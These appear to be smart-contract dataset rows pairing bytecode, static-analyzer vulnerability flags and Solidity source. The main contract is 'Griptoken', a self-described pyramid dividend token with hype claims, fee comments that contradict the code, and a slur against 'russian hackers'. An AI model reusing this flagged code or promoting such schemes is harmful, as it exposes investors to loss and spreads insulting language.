9d565b82525050565b61269681612ac2565b82525050565b6126a581612aaa565b82525050565b60006126b682612396565b91506126c28285612241565b6020820191506126d28284612241565b6020820191508190509392505050565b60006126ed826124a2565b9150819050919050565b6000612702826125fa565b9150819050919050565b60006020820190506127216000830184612214565b92915050565b600060208201905061273c6000830184612223565b92915050565b60006020820190506127576000830184612232565b92915050565b60006080820190506127726000830187612232565b61277f6020830186612214565b61278c6040830185612660565b6127996060830184612660565b95945050505050565b60006080820190506127b76000830187612232565b6127c46020830186612232565b6127d16040830185612660565b6127de6060830184612214565b95945050505050565b60006080820190506127fc6000830187612232565b612809602083018661267e565b6128166040830185612232565b6128236060830184612232565b95945050505050565b600060208201905081810360008301526128468184612291565b905092915050565b600060208201905081810360008301526128688184612258565b905092915050565b60006020820190508181036000830152612889816122ca565b9050919050565b600060208201905081810360008301526128a981612330565b9050919050565b600060208201905081810360008301526128c9816123d6565b9050919050565b600060208201905081810360008301526128e98161243c565b9050919050565b600060208201905081810360008301526129098161252e565b9050919050565b6000602082019050818103600083015261292981612594565b9050919050565b60006020820190506129456000830184612660565b92915050565b6000602082019050612960600083018461266f565b92915050565b600060408201905061297b600083018561266f565b612988602083018461269c565b9392505050565b60006020820190506129a4600083018461267e565b92915050565b60006020820190506129bf600083018461268d565b92915050565b60006020820190506129da600083018461269c565b92915050565b60006040820190506129f5600083018561268d565b612a02602083018461268d565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a4682612a63565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612acd82612aaa565b9050919050565b60005b83811015612af2578082015181840152602081019050612ad7565b83811115612b01576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b2b81612a3b565b8114612b3657600080fd5b50565b612b4281612a59565b8114612b4d57600080fd5b50565b612b5981612a83565b8114612b6457600080fd5b50565b612b7081612a8d565b8114612b7b57600080fd5b50565b612b8781612a9d565b8114612b9257600080fd5b5056fe556e736c61736865642046696e616e636520476f7665726e616e636520546f6b656e5553463a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77735553463a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63655553463a3a7472616e736665723a20616d6f756e74206578636565647320393620626974735553463a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77735553463a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63655553463a3a617070726f76653a20616d6f756e74206578636565647320393620626974735553463a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974735553463a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773a365627a7a7231582062e1c5fbaddbcd31320f4dfb4a2e0892437ffdd1889aa305dcbe1601ae1ad4c46c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,385 |
0x757cc5723396981b9852cb6237a567720aee8906
|
pragma solidity ^0.4.20;
/*
*GRIP TOKEN
*No PREMINE
*Dedicated Dev and Marketing Team - Strongest hands; won't ever dump
*20% Div on Buy/25% on Sell - Additional Sell Protection
*-----------www.griptoken.co-----------
*
*/
contract Griptoken {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Griptoken";
string public symbol = "GRIPS";
uint8 constant public decimals = 18;
/// @dev 15% dividends for token purchase
uint8 constant internal entryFee_ = 20;
/// @dev 10% dividends for token transfer
uint8 constant internal transferFee_ = 10;
/// @dev 25% dividends for token selling
uint8 constant internal exitFee_ = 25;
/// @dev 35% of entryFee_ (i.e. 7% dividends) is given to referrer
uint8 constant internal refferalFee_ = 35;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
/*=================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
/**
* @dev Transfer tokens from the caller to a new holder.
* Remember, there's a 15% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x606060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461016c57806310d0ffdd146101fa57806318160ddd14610231578063226093731461025a578063313ce567146102915780633ccfd60b146102c05780634b750334146102d557806356d399e8146102fe578063688abbf7146103275780636b2f46321461036057806370a08231146103895780638620410b146103d6578063949e8acd146103ff57806395d89b4114610428578063a9059cbb146104b6578063e4849b3214610510578063e9fad8ee14610533578063f088d54714610548578063fdb5a03e1461058a575b61011c34600061059f565b50005b341561012a57600080fd5b610156600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061098d565b6040518082815260200191505060405180910390f35b341561017757600080fd5b61017f610a2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61021b6004808035906020019091905050610acd565b6040518082815260200191505060405180910390f35b341561023c57600080fd5b610244610b0f565b6040518082815260200191505060405180910390f35b341561026557600080fd5b61027b6004808035906020019091905050610b19565b6040518082815260200191505060405180910390f35b341561029c57600080fd5b6102a4610b6c565b604051808260ff1660ff16815260200191505060405180910390f35b34156102cb57600080fd5b6102d3610b71565b005b34156102e057600080fd5b6102e8610d0e565b6040518082815260200191505060405180910390f35b341561030957600080fd5b610311610d76565b6040518082815260200191505060405180910390f35b341561033257600080fd5b61034a60048080351515906020019091905050610d7c565b6040518082815260200191505060405180910390f35b341561036b57600080fd5b610373610de8565b6040518082815260200191505060405180910390f35b341561039457600080fd5b6103c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e07565b6040518082815260200191505060405180910390f35b34156103e157600080fd5b6103e9610e50565b6040518082815260200191505060405180910390f35b341561040a57600080fd5b610412610eb8565b6040518082815260200191505060405180910390f35b341561043357600080fd5b61043b610ecd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047b578082015181840152602081019050610460565b50505050905090810190601f1680156104a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104c157600080fd5b6104f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f6b565b604051808215151515815260200191505060405180910390f35b341561051b57600080fd5b610531600480803590602001909190505061128e565b005b341561053e57600080fd5b6105466114dd565b005b610574600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611544565b6040518082815260200191505060405180910390f35b341561059557600080fd5b61059d611556565b005b60008060008060008060008060003397506105c86105c18c601460ff166116ca565b6064611705565b96506105e26105db88602360ff166116ca565b6064611705565b95506105ee8787611720565b94506105fa8b88611720565b935061060584611739565b92506801000000000000000085029150600083118015610631575060065461062f846006546117c6565b115b151561063c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141580156106a557508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156106f25750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1561078857610740600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876117c6565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107a3565b61079285876117c6565b945068010000000000000000850291505b6000600654111561080e576107ba600654846117c6565b6006819055506006546801000000000000000086028115156107d857fe5b0460076000828254019250508190555060065468010000000000000000860281151561080057fe5b048302820382039150610816565b826006819055505b61085f600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846117c6565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d8642610952610e50565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a2757fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ac55780601f10610a9a57610100808354040283529160200191610ac5565b820191906000526020600020905b815481529060010190602001808311610aa857829003601f168201915b505050505081565b600080600080610aeb610ae486601460ff166116ca565b6064611705565b9250610af78584611720565b9150610b0282611739565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b3057600080fd5b610b39856117e4565b9250610b53610b4c84601960ff166116ca565b6064611705565b9150610b5f8383611720565b9050809350505050919050565b601281565b6000806000610b806001610d7c565b111515610b8c57600080fd5b339150610b996000610d7c565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610cbc57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610d33576402540be40064174876e800039350610d70565b610d44670de0b6b3a76400006117e4565b9250610d5e610d5784601960ff166116ca565b6064611705565b9150610d6a8383611720565b90508093505b50505090565b60025481565b60008033905082610d9557610d908161098d565b610de0565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dde8261098d565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610e75576402540be40064174876e800019350610eb2565b610e86670de0b6b3a76400006117e4565b9250610ea0610e9984601460ff166116ca565b6064611705565b9150610eac83836117c6565b90508093505b50505090565b600080339050610ec781610e07565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f635780601f10610f3857610100808354040283529160200191610f63565b820191906000526020600020905b815481529060010190602001808311610f4657829003601f168201915b505050505081565b600080600080600080610f7c610eb8565b111515610f8857600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611151515610fd957600080fd5b6000610fe56001610d7c565b1115610ff457610ff3610b71565b5b61100c61100587600a60ff166116ca565b6064611705565b92506110188684611720565b9150611023836117e4565b905061103160065484611720565b600681905550611080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611720565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061110c600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836117c6565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061121560075460065468010000000000000000840281151561120f57fe5b046117c6565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b60008060008060008060006112a1610eb8565b1115156112ad57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487111515156112fe57600080fd5b86945061130a856117e4565b935061132461131d85601960ff166116ca565b6064611705565b92506113308484611720565b915061133e60065486611720565b60068190555061138d600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486611720565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114675761146060075460065468010000000000000000860281151561145a57fe5b046117c6565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e8684426114aa610e50565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611538576115378161128e565b5b611540610b71565b5050565b6000611550348361059f565b50919050565b6000806000806115666001610d7c565b11151561157257600080fd5b61157c6000610d7c565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166d83600061059f565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b60008060008414156116df57600091506116fe565b82840290508284828115156116f057fe5b041415156116fa57fe5b8091505b5092915050565b600080828481151561171357fe5b0490508091505092915050565b600082821115151561172e57fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be4006117af6117a9600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a01010161188f565b85611720565b8115156117b857fe5b040390508092505050919050565b60008082840190508381101515156117da57fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a7640000611878670de0b6b3a764000085036402540be400670de0b6b3a76400008681151561183657fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a0381151561186157fe5b046402540be4000281151561187257fe5b04611720565b81151561188157fe5b049050809350505050919050565b6000806002600184018115156118a157fe5b0490508291505b818110156118d45780915060028182858115156118c157fe5b04018115156118cc57fe5b0490506118a8565b509190505600a165627a7a72305820c5867f29fccb013aab1d652e61981d9bbfa3b4c99b829b2524761fb1f39ab5c60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,386 |
0x52138532cddb63ef7d47f84975807809d5aa7f6a
|
/**
*Submitted for verification at Etherscan.io on 2021-01-22
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
